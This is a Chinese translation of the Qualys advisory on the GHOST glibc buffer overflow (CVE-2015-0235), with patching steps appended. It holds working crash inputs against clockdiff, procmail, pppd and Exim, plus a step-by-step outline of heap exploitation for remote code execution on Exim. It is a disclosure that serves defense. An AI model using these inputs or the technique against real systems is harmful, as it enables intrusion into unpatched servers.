CVE-2015-0235：幽灵(GHOST)漏洞解析

0x01 摘要

Qualys公司在进行内部代码审核时，发现了一个在GNU C库(glibc)中存在的__nss_hostname_digits_dots函数导致的缓冲区溢出漏洞。这个bug可达可以通过gethostbyname *()函数来触发，本地和远程均可行。鉴于它的影响，我们决定仔细分析它。分析完成后，我们也决定以“幽灵”(GHOST)命名此漏洞。

我们的分析过程中得出的主要结论是：

- 通过gethostbyname()函数或gethostbyname2()函数，将可能产生一个堆上的缓冲区溢出。经由gethostbyname_r()或gethostbyname2_r()，则会触发调用者提供的缓冲区溢出(理论上说，调用者提供的缓冲区可位于堆，栈，.data节和.bss节等。但是，我们实际操作时还没有看到这样的情况)。

- 漏洞产生时至多sizeof(char* )个字节可被覆盖(注意是char*指针的大小，即32位系统上为4个字节，64位系统为8个字节)。但是payload中只有数字( '0 '...' 9') ，点( “.”) ，和一个终止空字符('\0' ) 可用。

- 尽管有这些限制，我们依然可以执行任意的代码。

我们开发了一套完整的针对Exim邮件服务器的攻击PoC，测试中发现可以绕过所有现有保护 ( ASLR,PIE和NX )。且可以通杀32位和64位的机器。而且，在不久的将来，我们还会发布一个Metasploit的模块。

- 据悉，GNU C库的第一个易受攻击版本是glibc-2.2 ，发布于2000年11月10日，相当有年头了。

- 据了解，是有一些方法可以减轻影响的。事实上，这个漏洞其实在2013年5月21日就已经被修复了(在glibc-2.17和glibc-2.18的发行版之间) 。不幸的是，当时它并没有被认为是一个安全威胁。其结果是，大多数稳定版和长期支持版本现在依然暴露在漏洞影响下，比如： Debian 7 (wheezy) ，红帽企业版Linux 6和7,CentOS 6和7 ，Ubuntu 12.04。

0x02 分析

存在漏洞的函数__nss_hostname_digits_dots()由glibc的非重入版本的文件：nss/getXXbyYY.c，以及重入版本：nss/getXXbyYY_r.c提供。然而，这个函数的调用是由#ifdef HANDLE_DIGITS_DOTS来定义的，这个宏定义只在这几个文件有：

- inet/gethstbynm.c
- inet/gethstbynm2.c
- inet/gethstbynm_r.c
- inet/gethstbynm2_r.c
- nscd/gethstbynm3_r.c

以上这些文件实现gethostbyname*()函数族，因此也只有它们会调用__nss_hostname_digits_dots()，并且可能触发它的缓冲区溢出。该函数的作用是：“如果主机名是IPv4/IPv6地址，就跳过费时的DNS查找”。

glibc-2.17的代码如下：

int
 __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
                             char **buffer, size_t *buffer_size,
                             size_t buflen, struct hostent **result,
                            enum nss_status *status, int af, int *h_errnop)
 {

   if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
     {
      const char *cp;
       char *hostname;
       typedef unsigned char host_addr_t[16];
       host_addr_t *host_addr;
       typedef char *host_addr_list_t[2];
       host_addr_list_t *h_addr_ptrs;
       char **h_alias_ptr;
       size_t size_needed;

      size_needed = (sizeof (*host_addr)
                     + sizeof (*h_addr_ptrs) + strlen (name) + 1);

       if (buffer_size == NULL)
        {
          if (buflen < size_needed)
            {

               goto done;
             }
         }
       else if (buffer_size != NULL && *buffer_size < size_needed)
         {
           char *new_buf;
           *buffer_size = size_needed;
           new_buf = (char *) realloc (*buffer, *buffer_size);

         if (new_buf == NULL)
             {
               goto done;
             }
           *buffer = new_buf;
         }

       host_addr = (host_addr_t *) *buffer;
       h_addr_ptrs = (host_addr_list_t *)
         ((char *) host_addr + sizeof (*host_addr));
       h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
       hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);

       if (isdigit (name[0]))
         {
           for (cp = name;; ++cp)
             {
               if (*cp == '\0')
                 {
                   int ok;

                  if (*--cp == '.')
                     break;

                  if (af == AF_INET)
                     ok = __inet_aton (name, (struct in_addr *) host_addr);
                  else
                     {
                       assert (af == AF_INET6);
                       ok = inet_pton (af, name, host_addr) > 0;
                     }
                  if (! ok)
                   {

                       goto done;
                     }

                  resbuf->h_name = strcpy (hostname, name);

                   goto done;
                }

               if (!isdigit (*cp) && *cp != '.')
                break;
            }
        }

Ln 85-86计算所需的缓冲区大小size_needed来存储三个不同的实体： HOST_ADDR,h_addr_ptrs和name(hostname) 。Ln 88-117 确保缓冲区足够大：Ln 88-97对应于函数重入的情况，Ln 98-117为非重入的情况。

Ln 121-125处理存储四个不同实体的指针地址，HOST_ADDR,h_addr_ptrs,h_alias_ptr ，和hostname。 计算size_needed时，漏掉了一个sizeof( * h_alias_ptr ) - 也即一个char指针的大小。

因此， strcpy的( )所在的Ln157应该可以让我们写过缓冲区的末尾，至多(取决于函数strlen(name)和对齐) 4个字节 (32位)，或8个字节(64位)。有一个类似的strcpy()在Ln 200，但是这里没有缓冲区溢出：

size_needed = (sizeof (*host_addr)
                          + sizeof (*h_addr_ptrs) + strlen (name) + 1);

           host_addr = (host_addr_t *) *buffer;
           h_addr_ptrs = (host_addr_list_t *)
             ((char *) host_addr + sizeof (*host_addr));
          hostname = (char *) h_addr_ptrs + sizeof (*h_addr_ptrs);

                  resbuf->h_name = strcpy (hostname, name);

为了在行157触发溢出，主机名参数必须符合下列要求：

- 它的第一个字符必须是数字(Ln 127) 。
- 它的最后一个字符不能是点 “.”(Ln 135 ) 。
- 它必须只包含数字和点(Ln 197 ) (我们称之为“数字和点”的要求) 。
- 它必须足够长以溢出缓冲区。例如，非重入的gethostbyname *()函数最开始就会通过调用malloc (1024)来分配自己的缓冲区 (申请 “1 KB”) 。
- 地址必须成功地解析为IPv4地址。该解析由INET_ATON()(Ln 143)完成 ，或作为inet_pton IPv6地址() (Ln 147)
- 经过仔细分析这两个函数，我们可以进一步完善这一“ inet - aton”的要求：

inet_pton()中冒号":"是被禁止的，而且我们不可能将带数字和点的地址解析成IPv6地址 。因此，它是不可能达到的溢出地点的，也即以参数为AF_INET6调用gethostbyname2()或gethostbyname2_r()函数族。

结论： inet_aton()是唯一的选择，并且主机名必须具有下列形式之一： “a.b.c.d”,“a.b.c”， “a.b” ，或“a” ，其中a，b ，c，d ，必须是无符号整数，最多0xfffffffful ，可以由strtoul()成功转换为十进制或者八进制(即没有整数溢出)(但不能是十六进制，因为'x'和'X'是被禁止的) 。

0x03 减轻影响的因素

这个bug的影响现在显著减少了，原因是：

◆补丁已经存在(因为2013年5月21日)，并在2013年8月12日发布的glibc-2.18中被应用和测试：

[BZ＃15014](更新日志)
* nss/getXXbyYY_r.c(INTERNAL(REENTRANT_NAME))[HANDLE_DIGITS_DOTS]：当数字-点解析成功时设置any_service。
* nss/digits_dots.c(__nss_hostname_digits_dots)：为IPv6地址解析时，删除多余的变量声明和缓冲的重新分配。可重入函数调用时，总是需要设置NSS状态。当缓冲区太小时使用NETDB_INTERNAL而不是TRY_AGAIN。正确计算了所需大小。
* nss/Makefile (tests)：加入 test-digits-dots。
* nss/test-digits-dots.c：新测试文件。

◆gethostbyname*()函数是过时的;随着IPv6的到来，新的应用程序应该使用getaddrinfo()来代替。

◆许多程序，特别是SUID文件可本地访问时，当且仅当之前调用inet_aton()失败时，会使用gethostbyname()。但是，就算到这里了，后续其他调用也必须成功，这样才能走到溢出的地方(“inet-aton”规定)：但是这是不可能的，所以用这样的方案的程序是安全的。

◆大多数其他的程序，尤其是可远程访问的服务器，会使用gethostbyname()来执行反查DNS(FCrDNS，也被称为full-circle reverse DNS)。这些程序通常是安全的，因为传递到的gethostbyname()的主机名通常都已经被DNS软件预先检查了：

(RFC 1123)“每个label最多有63个8位数字，由点分隔，最多总计有255个八进制数字”。这使得它不可能满足“1 KB”要求。

事实上，glibc的的DNS解析器可以产生高达(最多)1025字符的主机名(如bit-string标签，特殊的或非打印的字符)。但这会引入反斜杠('\')，这样也会使得它不可能满足“只有数字和点”的要求。

0x04 案例分析

在本节中，我们将分析真实的调用gethostbyname*()函数的例子，但我们首先介绍一个小测试程序，检查系统是否脆弱：

[[email protected] ~]$ cat > GHOST.c << EOF
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

#define CANARY "in_the_coal_mine"

struct {
  char buffer[1024];
  char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };

int main(void) {
  struct hostent resbuf;
  struct hostent *result;
  int herrno;
  int retval;

  /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
  size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
  char name[sizeof(temp.buffer)];
  memset(name, '0', len);
  name[len] = '\0';

  retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);

  if (strcmp(temp.canary, CANARY) != 0) {
    puts("vulnerable");
    exit(EXIT_SUCCESS);
  }
  if (retval == ERANGE) {
    puts("not vulnerable");
    exit(EXIT_SUCCESS);
  }
  puts("should not happen");
  exit(EXIT_FAILURE);
}
EOF

[[email protected] ~]$ gcc GHOST.c -o GHOST

On Fedora 19 (glibc-2.17):

[[email protected] ~]$ ./GHOST
vulnerable

On Fedora 20 (glibc-2.18):

[[email protected] ~]$ ./GHOST
not vulnerable

4.1

glibc的本身包含了几个调用gethostbyname*()的函数。特别是，仅当第一次调用inet_aton()失败时，getaddrinfo()会调用gethostbyname2_r()：按照“inet-aton”要求，这些内部调用是安全的。例如，

eglibc-2.13/sysdeps/posix/getaddrinfo.c:

at->family = AF_UNSPEC;
  ...
  if (__inet_aton (name, (struct in_addr *) at->addr) != 0)
    {
      if (req->ai_family == AF_UNSPEC || req->ai_family == AF_INET)
        at->family = AF_INET;
      else if (req->ai_family == AF_INET6 && (req->ai_flags & AI_V4MAPPED))
        {
          ...
          at->family = AF_INET6;
        }
      else
        return -EAI_ADDRFAMILY;
      ...
    }
  ...
  if (at->family == AF_UNSPEC && (req->ai_flags & AI_NUMERICHOST) == 0)
    {
      ...
          size_t tmpbuflen = 512;
          char *tmpbuf = alloca (tmpbuflen);
          ...
              rc = __gethostbyname2_r (name, family, &th, tmpbuf,
                                       tmpbuflen, &h, &herrno);
      ...
    }

4.2 - mount.nfs

类似的，mount.nfs 也没有漏洞：

if (inet_aton(hostname, &addr->sin_addr))
           return 0;
   if ((hp = gethostbyname(hostname)) == NULL) {
           nfs_error(_("%s: can't get address for %s\n"),
                           progname, hostname);
           return -1;
   }

4.3 - mtr

mtr也没有漏洞，因为它调用了getaddrinfo()而不是gethostbyname*()。

#ifdef ENABLE_IPV6
  /* gethostbyname2() is deprecated so we'll use getaddrinfo() instead. */
  ...
  error = getaddrinfo( Hostname, NULL, &hints, &res );
  if ( error ) {
    if (error == EAI_SYSTEM)
       perror ("Failed to resolve host");
    else
       fprintf (stderr, "Failed to resolve host: %s\n", gai_strerror(error));
    exit( EXIT_FAILURE );
  }
  ...
#else
    host = gethostbyname(Hostname);
  if (host == NULL) {
    herror("mtr gethostbyname");
    exit(1);
  }
  ...
#endif

4.4 - iputils

4.4.1 - clockdiff

clockdiff则有漏洞风险，因为：

 hp = gethostbyname(argv[1]);
    if (hp == NULL) {
            fprintf(stderr, "clockdiff: %s: host not found\n", argv[1]);
            exit(1);
    }





#!cpp
[[email protected] ~]$ ls -l /usr/sbin/clockdiff
-rwxr-xr-x. 1 root root 15076 Feb  1  2013 /usr/sbin/clockdiff

[[email protected] ~]$ getcap /usr/sbin/clockdiff
/usr/sbin/clockdiff = cap_net_raw+ep

[[email protected] ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x10000-16*1-2*4-1-4))"`
.Segmentation fault

[[email protected] ~]$ /usr/sbin/clockdiff `python -c "print '0' * $((0x20000-16*1-2*4-1-4))"`
Segmentation fault

[[email protected] ~]$ dmesg
...
[202071.118929] clockdiff[3610]: segfault at b86711f4 ip b75de0c6 sp bfc191f0 error 6 in libc-2.17.so[b7567000+1b8000]
[202086.144336] clockdiff[3618]: segfault at b90d0d24 ip b75bb0c6 sp bf8e9dc0 error 6 in libc-2.17.so[b7544000+1b8000]

4.4.2 - ping and arping

ping 、arping 在inet_aton()失败时调用 gethostbyname() 和 gethostbyname2()。此时，还会有另一个函数被调用 (例如Fedora,定义了USE_IDN):

4.4.2.1 - ping

if (inet_aton(target, &whereto.sin_addr) == 1) {
                  ...
          } else {
                  char *idn;
          #ifdef USE_IDN
                  int rc;
                  ...
                  rc = idna_to_ascii_lz(target, &idn, 0);
                  if (rc != IDNA_SUCCESS) {
                          fprintf(stderr, "ping: IDN encoding failed: %s\n", idna_strerror(rc));
                          exit(2);
                  }
           #else
                  idn = target;
           #endif
                  hp = gethostbyname(idn);

4.4.2.2 - arping

if (inet_aton(target, &dst) != 1) {
           struct hostent *hp;
           char *idn = target;
           #ifdef USE_IDN
           int rc;

           rc = idna_to_ascii_lz(target, &idn, 0);

           if (rc != IDNA_SUCCESS) {
                   fprintf(stderr, "arping: IDN encoding failed: %s\n", idna_strerror(rc));
                   exit(2);
           }
           #endif

           hp = gethostbyname2(idn, AF_INET);

4.4.2.3 - 分析

如果idna_to_ascii_lz()修改了目标主机名，第一个调用INET_ATON()可能失败，第二次调用(gethostbyname()内部调用)能成功。例如，idna_to_ascii_lz()把任何Unicode点状的字符(0x3002，0xFF0E，0xFF61)转换为ASCII的句点(“.”)。

但是，这也限制了域标签63个字符的长度：这使得它只有4个label和3个点(“INET-ATON”的规定)，因此不可能达到1024字节(“1KB”的要求)。

除非INET_ATON()(实际上，是strtoul())可以被欺骗接受超过3个点?事实上，idna_to_ascii_lz()不总限制 域名的长度。 glibc的支持“千”分组字符(man 3 printf);例如，sscanf(str，"%'lu"，&ul)处理1000时，会得到下列输入字符串：

“1,000”，英语语言环境;

“1 000”，法语语言环境;

“1.000”，德语或西班牙语语言环境。

strtoul()也一样实现了这个“数字分组”，但它仅限glibc的内部函数使用。结论：要构造3个“.”以上是不可能的，所以ping, arping是没问题的。

4.5 - procmail

procmail 的“comsat/biff”特性有漏洞：

#define COMSAThost      "localhost"    /* where the biff/comsat daemon lives */
...
#define SERV_ADDRsep    '@'           /* when overriding in COMSAT=serv@...r */

int setcomsat(chp)const char*chp;
{ char*chad; ...
  chad=strchr(chp,SERV_ADDRsep);                             /* @ separator? */
  ...
  if(chad)
     *chad++='\0';                                    /* split the specifier */
  if(!chad||!*chad)                                               /* no host */
#ifndef IP_localhost                          /* Is "localhost" preresolved? */
     chad=COMSAThost;                                   /* nope, use default */
#else /* IP_localhost */
   { ...
   }
  else
#endif /* IP_localhost */
   { ...
     if(!(host=gethostbyname(chad))||!host->h_0addr_list)

[email protected]:~$ ls -l /usr/bin/procmail
-rwsr-sr-x 1 root mail 83912 Jun  6  2012 /usr/bin/procmail

[email protected]:~$ /usr/bin/procmail 'VERBOSE=on' 'COMSAT[email protected] -c "print '0' * $((0x500-16*1-2*4-1-4))"` < /dev/null
...
*** glibc detected *** /usr/bin/procmail: free(): invalid next size (normal): 0x0980de30 ***
======= Backtrace: =========
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x70f01)[0xb76b2f01]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x72768)[0xb76b4768]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb76b781d]
/usr/bin/procmail[0x80548ec]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0xb7658e46]
/usr/bin/procmail[0x804bb55]
======= Memory map: ========
...
0980a000-0982b000 rw-p 00000000 00:00 0          [heap]
...
Aborted

[email protected]:~$ _COMSAT_='[email protected] -c "print '0' * $((0x500-16*1-2*4-1-4))"`

[email protected]:~$ /usr/bin/procmail "$_COMSAT_" "$_COMSAT_"1234 < /dev/null
Segmentation fault

[email protected]:~$ /usr/bin/procmail "$_COMSAT_"12345670 "$_COMSAT_"123456701234 < /dev/null
Segmentation fault

[email protected]:~$ dmesg
...
[211409.564917] procmail[4549]: segfault at c ip b768e5a4 sp bfcb53d8 error 4 in libc-2.13.so[b761c000+15c000]
[211495.820710] procmail[4559]: segfault at b8cb290c ip b763c5a4 sp bf870c98 error 4 in libc-2.13.so[b75ca000+15c000]

4.6 - pppd

当之前调用inet_addr()失败时(这个函数只是简单的包装了一下inet_aton())，pppd会调用gethostbyname()。inet_addr()会把将Internet主机地址从IPv4的数字-点格式转换为网络传输用的热浸制模式。当输入无效的时候，返回INADDR_NONE(通常是 -1).使用这个函数会导致一个问题，是因为-1是一个有效的地址(255.255.255.255)。inet_addr()失败了，但inet_aton()却成功了，因此会是一个导致溢出的点。

[email protected]:~$ ls -l /usr/sbin/pppd
-rwsr-xr-- 1 root dip 273272 Feb  3  2011 /usr/sbin/pppd

[email protected]:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)

4.6.1 ms-dns option

static int
setdnsaddr(argv)
    char **argv;
{
    u_int32_t dns;
    struct hostent *hp;

    dns = inet_addr(*argv);
    if (dns == (u_int32_t) -1) {
        if ((hp = gethostbyname(*argv)) == NULL) {
            option_error("invalid address parameter '%s' for ms-dns option",
                         *argv);
            return 0;
        }
        dns = *(u_int32_t *)hp->h_addr;
    }

[email protected]:~$ /usr/sbin/pppd 'dryrun' 'ms-dns' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'
*** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x09c0f928 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb75e1ee2]
/lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb75d1db5]
/lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb75d1deb]
/usr/sbin/pppd(options_from_file+0xa8)[0x8064948]
/usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]
/usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]
/usr/sbin/pppd(main+0x1cf)[0x8050b2f]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb75854d3]
======= Memory map: ========
...
09c0c000-09c2d000 rw-p 00000000 00:00 0          [heap]
...
Aborted (core dumped)

4.6.2 - ms-wins optio

static int
setwinsaddr(argv)
    char **argv;
{
    u_int32_t wins;
    struct hostent *hp;

    wins = inet_addr(*argv);
    if (wins == (u_int32_t) -1) {
        if ((hp = gethostbyname(*argv)) == NULL) {
            option_error("invalid address parameter '%s' for ms-wins option",
                         *argv);
            return 0;
        }
        wins = *(u_int32_t *)hp->h_addr;
    }

[email protected]:~$ /usr/sbin/pppd 'dryrun' 'ms-wins' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255'
*** glibc detected *** /usr/sbin/pppd: free(): invalid next size (normal): 0x08a64928 ***
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x75ee2)[0xb757aee2]
/lib/i386-linux-gnu/libc.so.6(+0x65db5)[0xb756adb5]
/lib/i386-linux-gnu/libc.so.6(fopen+0x2b)[0xb756adeb]
/usr/sbin/pppd(options_from_file+0xa8)[0x8064948]
/usr/sbin/pppd(options_for_tty+0xde)[0x8064d7e]
/usr/sbin/pppd(tty_process_extra_options+0xa4)[0x806e1a4]
/usr/sbin/pppd(main+0x1cf)[0x8050b2f]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb751e4d3]
======= Memory map: ========
...
08a61000-08a82000 rw-p 00000000 00:00 0          [heap]
...
Aborted (core dumped)

4.6.3 - socket option

static int
open_socket(dest)
    char *dest;
{
    char *sep, *endp = NULL;
    int sock, port = -1;
    u_int32_t host;
    struct hostent *hent;
    ...
    sep = strchr(dest, ':');
    if (sep != NULL)
        port = strtol(sep+1, &endp, 10);
    if (port < 0 || endp == sep+1 || sep == dest) {
        error("Can't parse host:port for socket destination");
        return -1;
    }
    *sep = 0;
    host = inet_addr(dest);
    if (host == (u_int32_t) -1) {
        hent = gethostbyname(dest);
        if (hent == NULL) {
            error("%s: unknown host in socket option", dest);
            *sep = ':';
            return -1;
        }
        host = *(u_int32_t *)(hent->h_addr_list[0]);
    }

[email protected]:~$ /usr/sbin/pppd 'socket' `python -c "print '0' * $((0x1000-16*1-2*4-16-4))"`'377.255.255.255:1'
[email protected]:~$ *** glibc detected *** /usr/sbin/pppd: malloc(): memory corruption: 0x09cce270 ***

4.7 - Exim

如果配置了检查HELO和EHLO的额外检查，Exim邮件服务器可远程触发该漏洞。(“helo_verify_hosts”或者"helo_try_verify_hosts"或者“verify=helo” ACL项目)。我们开发了一个可以稳定执行的漏洞，可以绕过所有已知的保护(ASLR, PIE, NX)，可在32/64位系统触发。

[email protected]:~$ grep helo /var/lib/exim4/config.autogenerated | grep verify
helo_verify_hosts = *

[email protected]:~$ python -c "print '0' * $((0x500-16*1-2*8-1-8))"
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

[email protected]:~$ telnet 127.0.0.1 25
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
220 debian-7-7-64b ESMTP Exim 4.80 ...
HELO 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Connection closed by foreign host.

[email protected]:~$ dmesg
...
[ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in libc-2.13.so[7fabef2a2000+182000]

0x05 Exploitation

5.1 - Code execution

在本节中，我们将介绍如何对Exim SMTP邮件服务器实现远程执行代码，绕过NX保护和glibc的malloc强化。

首先，我们溢出的gethostbyname的基于堆的缓冲区，以及部分覆盖下一个相邻空闲块的大小字段，使之具有稍微更大的尺寸(我们只覆盖3字节的大小;因为，我们不能在32位溢出超过4个字节，或64位机器上8个字节)：

                            |< malloc_chunk
                            |
-----|----------------------|---+--------------------|-----
 ... | gethostbyname buffer |p|s|f|b|F|B| free chunk | ...
-----|----------------------|---+--------------------|-----
     |                         X|
     |------------------------->|
               overflow





#!cpp
struct malloc_chunk {

  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;

  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

X标记了内存损坏发生的位置。

其结果是，该glibc的malloc管理的空闲块被人工增大，导致内存与另一块Exim 的current_block重叠。而current_block是由Exim的的内部内存分配器管理的。

                            |< malloc_chunk          |< storeblock
                            |                        |
-----|----------------------|------------------------|---------------+---|-----
 ... | gethostbyname buffer |p|s|f|b|F|B| free chunk |n|l| current_block | ...
-----|----------------------|------------------------|---------------+---|-----
                            |                                        |
                            |<-------------------------------------->|
                                 artificially enlarged free chunk





#!cpp
typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;

然后，我们部分地分配已经释放的空闲块，然后使用任意数据覆盖Exim的current_block的起始部分(“storeblock”结构)。特别是，我们需要覆盖其“next”字段：

                            |< malloc_chunk          |< storeblock
                            |                        |
-----|----------------------|------------------------|--------+----------|-----
 ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaaaaa |n|l| current_block | ...
-----|----------------------|------------------------|--------+----------|-----
                            |                         X       |
                            |<------------------------------->|

这有效地把gethostbyname的缓冲区溢出变成随便往哪儿写东西的问题，因为我们控制了两个指针：Exim分配器会返回的下一块内存块(被劫持“next”指针)和分配的数据(null终止字符串，我们发送Exim的SMTP命令的参数)。

最后，我们用这个随意写的漏洞来覆盖Exim的运行时配置，这个配置是存在堆中的。确切地说，我们覆盖Exim的访问控制列表(ACL)，并实现任意代码执行。这要感谢Exim的 "${run{ }}" 字符串扩展机制。

                                                     |< storeblock
                                                     |
-----|-------------------------------|---------------|-------------------|-----
 ... | Exim's run-time configuration | ... .. .. ... |n|l| current_block | ...
-----|----x--------------------------|---------------|x------------------|-----
          |                                           |
          '<------------------------------------------'
                      hijacked next pointer





#!cpp
                |< ACLs >|
-----|----+-----+--------+------+----|---------------|-------------------|-----
 ... | Exim's run-time configuration | ... .. .. ... | old current_block | ...
-----|----+-----+--------+------+----|---------------|-------------------|-----
          |      XXXXXXXX       |
          |<------------------->|
             new current_block

5.2 信息泄露

成功利用这个漏洞需要一个重要的信息：Exim的堆上运行时配置。在本节中，我们将介绍如何获得这个地址，绕过 ASLR(地址空间布局随机化)和PIE(位置无关可执行文件)的保护。

首先，我们溢出的gethostbyname的基于堆的缓冲区，部分覆盖内存中下一个相邻空闲块的“大小”字段，使之具有更大的尺寸：

                            |< malloc_chunk
                            |
-----|----------------------|---+-------------------------|-----
 ... | gethostbyname buffer |p|s|f|b|F|B| next free chunk | ...
-----|----------------------|---+-------------------------|-----
     |                         X|
     |------------------------->|
               overflow

人工扩大的这篇内存会覆盖另一块内存，也即Exim保存错误信息“503 sender not yet given \r\n”的地方。

                            |< malloc_chunk
                            |
-----|----------------------|-----------------------------|----------+----|-----
 ... | gethostbyname buffer |p|s|f|b|F|B| real free chunk | error message | ...
-----|----------------------|-----------------------------|----------+----|-----
                            |                                        |
                            |<-------------------------------------->|
                                 artificially enlarged free chunk

然后，我们分配这个大小已经被修改的空闲块，由此将它分为两份：新分配块和一个小一些的空闲块(分割之后余下的部分)。剩余的空闲块malloc_chunk header部分用指向堆的指针(fd_nextsize指针)覆盖保存错误信息的内存的最开始几个字节。

                            |< malloc_chunk       |< malloc_chunk
                            |                     |
-----|----------------------|---------------------+-------|----------+----|-----
 ... | gethostbyname buffer |p|s|f|b|F|B| aaaaaaa |p|s|f|b|F|B| r message | ...
-----|----------------------|---------------------+-------|----------+----|-----
                            |                     |        X         |
                            |<------------------->|<---------------->|
                                allocated chunk        free chunk

最后，我们发送一个无效的SMTP指令，然后从Exim SMTP的响应信息中获取fd_nextsize堆指针，当然也包含损坏的错误信息。浙将有效的把gethostbyname的缓冲区溢出转换为信息泄露。还有，他也可以让我们区分服务器是32还是64位的机器。

0x06 致谢

我们要感谢OpenWall项目的Alexander Peslyak帮助以发现披露这个漏洞。

0x07 修复 CVE-2015-0235

就像最近的OpenSSL心脏滴血漏洞，这个问题要修复起来也很烦人。更新是在glibc包中，但是这个库会被很多运行中的服务使用。在更新之后，每个服务都要重启一下。

要找到所有依赖glibc的服务，请使用如下命令，它会显示所有打开的文件(lsof)，然后找到引用glibc库的文件。

$ lsof | grep libc | awk '{print $1}' | sort | uniq

RHEL/CentOS目前没有补丁，红帽发布了CVE信息(https://access.redhat.com/security/cve/CVE-2015-0235)，你可以在这个页面跟踪一下修复进度。

CentOS也正在处理这个事情，处理完之后会发布到它的镜像上。

Debian和Ubuntu已经有更新了，你可以直接更新它们。

当你使用的发行版有更新的时候请立即更新。

CentOS, Red Hat, Fedora, Scientific Linux, ...:

$ yum clean all && yum update

Debian, Ubuntu 和其他的派生产品:

$ apt-get clean && apt-get update && apt-get upgrade

最后，重启所有你上面用lsof找到的服务。当然最简单的是直接重启你的服务器，因为实在有很多东西依赖glibc，绕过你无法重启服务器，至少把面向公共的重要服务比如web服务器，mail服务器重启。

直到所有的发行版都打上补丁之前，这个漏洞就是一个等待游戏。直到那时为止，DNS都是一个潜在的安全隐患。

0x08 可能的攻击手段

服务器上gethostbyname() 应该是用的最多的了。许多DNS解析服务都可能会和这个CVE有关，唯一一点是，你需要控制DNS解析的东西才行。

这意味着可能有这些：

·邮件服务器连接IP时，使用的DNS反查(DNS黑名单，SPF检查等等)

·表单提交时，绕过允许用户内容导致一个DNS查询时，比如URL，WordPress的XML-RPC pingback等

·MySQL服务器做基于主机名的认证检查时(以MySQL权限)

·SSH服务器对允许/拒绝规则认证时，使用DNS查询的

·其他

【任何】DNS查询都可能会触发这个漏洞，唯一一个“好事”是漏洞并不会立刻造成提权，你可能还是以同一个用户身份执行命令，但是肯定有其他的各种各样的提权方式。非高权限用户依然可以用你的服务器做DDoS攻击等等。

来自：

http://www.openwall.com/lists/oss-security/2015/01/27/9

http://ma.ttias.be/critical-glibc-update-cve-2015-0235-gethostbyname-calls/